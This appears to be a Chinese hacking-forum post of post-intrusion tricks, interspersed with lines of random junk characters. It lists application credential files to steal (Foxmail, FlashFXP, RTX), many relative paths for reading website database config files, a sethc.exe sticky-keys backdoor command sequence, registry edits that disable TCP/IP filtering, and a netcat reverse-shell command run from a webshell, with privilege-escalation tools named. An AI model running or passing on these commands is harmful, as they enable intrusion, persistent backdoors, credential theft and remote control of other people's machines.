' y5 h8 v, ]! U5 I+ jc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
$ t8 T. ^4 k5 c+ z" ec:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
# p+ i. [, q& `$ y, {; d7 m0 KC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
: p5 N7 w! d" cC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
8 I0 Z7 O# E* X: ]5 ^c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
) K2 z" a/ e( T# f4 m/ U4 i- @c:\Program Files\Oracle\bin\regsvr32.exe
/ M! C' v% [% ^0 lc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
+ b- `0 I: L, q4 b& j/ r! Dc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

% ?% }- f2 T1 I- q/config.php
../../config.php
../config.php
/ X- B9 {! s; D( }0 u" j../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
% Y5 Q& @+ y0 K; x2 W../config.inc.php
../../../config.inc.php
/conn.php
- ^4 H, S* k% U' w0 u4 v5 Q' @8 K' L./conn.php
../../conn.php
: N3 q/ f* d0 A( C' a../conn.php
) W0 I7 x- R- x% ?- j../../../conn.php
3 d* b9 H# C6 v9 C/conn.asp
./conn.asp
../../conn.asp
6 B/ X$ \1 o) }. U0 Q! O../conn.asp
../../../conn.asp
& Q7 V, {  l; Z  p" b5 I/config.inc.php
./config.inc.php
; |" Y4 r- w3 ]( E* |+ ?../../config.inc.php
8 A, {. \3 \! _$ e- I3 B../config.inc.php
3 c  R' r! _/ }- H../../../config.inc.php
/config/config.php
6 ^" y" P& w5 K) v  L7 Z6 U../../config/config.php
& C) k' I8 |4 ]& ^../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
+ S" Q2 [  Q$ R../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
: j3 L) M" v/ Z" M, E/config/conn.php
./config/conn.php
* o% M4 T% R5 X) |! ^. L5 B& i/ W../../config/conn.php
../config/conn.php
7 Q9 K9 t* j) K) x5 R5 q9 w../../../config/conn.php
/config/conn.asp
./config/conn.asp
! X$ g- u$ L; u1 q../../config/conn.asp
../config/conn.asp
4 f, B5 l0 W2 ]' y* T( \' m% V../../../config/conn.asp
' F- i6 u! _& p. I% i) C/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
# H' q# b6 W! e" P; @8 C! H. Z../config/config.inc.php
../../../config/config.inc.php
( G' n7 Q7 R, ], [! q  o) P# S) F/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
& D. ], w0 n5 d  Y( Z../../data/config.inc.php
) ^$ Y% ]6 h4 W+ G& f; k../data/config.inc.php
! A6 y. t7 a! |& g1 Q, U../../../data/config.inc.php
" k% [( ?% f( F' L8 |7 H/data/conn.php
0 A$ G+ B5 ?3 W6 d5 E% T6 }./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
./data/conn.asp
2 F9 |2 |7 E% _: h. z../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
, ]7 E7 _4 t* K, g1 H./data/config.inc.php
" v; {# G  D, d% K# W9 t../../data/config.inc.php
6 y. N# \1 M4 [) O3 G6 E6 U, i../data/config.inc.php
3 r2 S2 U; C4 X# o../../../data/config.inc.php
; J  s# ]6 X! j0 c, K7 {3 k/include/config.php
% G/ R0 v6 b% p- Z/ `../../include/config.php
/ V' Y0 x& \2 ?; ?3 x/ i../include/config.php
../../../include/config.php
3 |# `  q* u) X$ V8 M( x/include/config.inc.php
0 k* c- Q7 y: K  m./include/config.inc.php
4 q4 R6 V7 a# B) p9 \" b../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
, z( ?6 T' D" s* F. K' T$ Q/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
9 a) G' h) q0 z7 g% T8 R) |0 U./include/conn.asp
../../include/conn.asp
/ m* H$ t: P" n& h# D../include/conn.asp
4 k3 h0 l7 y( C& i. y9 B* {../../../include/conn.asp
/include/config.inc.php
* ?5 d& [0 C2 w/ w./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
% y2 C/ v9 E$ x8 c/inc/config.php
, G+ E6 ^! ]0 u../../inc/config.php
: E9 u+ k( j" P9 K- K% [$ g  I) V, O5 _../inc/config.php
../../../inc/config.php
0 a) t6 ~. E6 a/inc/config.inc.php
7 ?9 j& Q4 p- o, N3 \$ O./inc/config.inc.php
" U0 b# M9 e; [% }../../inc/config.inc.php
* e0 ?( K2 `, D../inc/config.inc.php
% L  b3 q3 \1 y- F0 G& n% ?& \" Q../../../inc/config.inc.php
7 h7 C" ^. T. B, w/inc/conn.php
./inc/conn.php
../../inc/conn.php
) K% l( z* a; ~* R, e../inc/conn.php
; K; U9 O* Q( m* \../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
' x) u$ f- w1 s! }../inc/conn.asp
( W5 x  ~/ s1 |../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
  @# o* X8 x, O2 z! d9 U. R../../inc/config.inc.php
7 q  C5 s: d9 M) n# m' H  r) E../inc/config.inc.php
& [& |& P( a8 W; A& P4 U& \8 _../../../inc/config.inc.php
/index.php
, S! J% Q, h- D0 f8 b/ G* p. B./index.php
../../index.php
4 K: \% Y8 i' m9 }9 z../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
6 Y: W* h+ M8 x  L../index.asp
../../../index.asp
替换SHIFT后门
/ a8 `0 R: V* B) @7 J5 y. Q: b　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
- i" X/ _, m' [, ]  Y* r
8 d" j! }( p9 a) K+ `! g! d3 L　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
0 i# b8 H" W) S6 ]# A
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

* Z& y) R- R$ F' @% S6 {  M　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
/ h3 \6 b9 Y* q: V& c& ?TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
3 I$ c8 ^% P3 f" fHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
* k7 l5 O- E* ]+ o+ ^% F# E; |HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
1 ^$ _8 r& |3 F, `1 i- ~" O
分别用
  I0 A- q* A4 g  ?5 B2 qregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
3 o5 [" Z% f/ o  Z* |命令来导出注册表项
/ F/ Q- G7 t4 Y& P
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
) Z1 z" [+ U& n' j0 a; G3 U2 N
& C. O9 f' p  [% H: q/ a7 J再将以上三个文件分别用
2 p& E- _) ^* s( c' Y6 Vregedit -s D:\a.reg
7 d( s8 A' }7 uregedit -s D:\b.reg
* n" B7 y) t5 S4 Bregedit -s D:\c.reg
: {7 D1 \3 n! ^3 H; x' n导入注册表即可

webshell提权小技巧
cmd路径:
8 I9 }* r% e4 V5 W4 Lc:\windows\temp\cmd.exe
nc也在同目录下
: c1 e4 F7 {+ c, ^6 I例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
# L. D: }5 `* w4 j$ M; q通常都不会成功。
% T( m3 ~! P' L3 S+ a8 Y' e8 j! i
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
2 `! y# H4 J) Z- w命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
0 ^/ H( d# R7 |# l4 ]% O却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功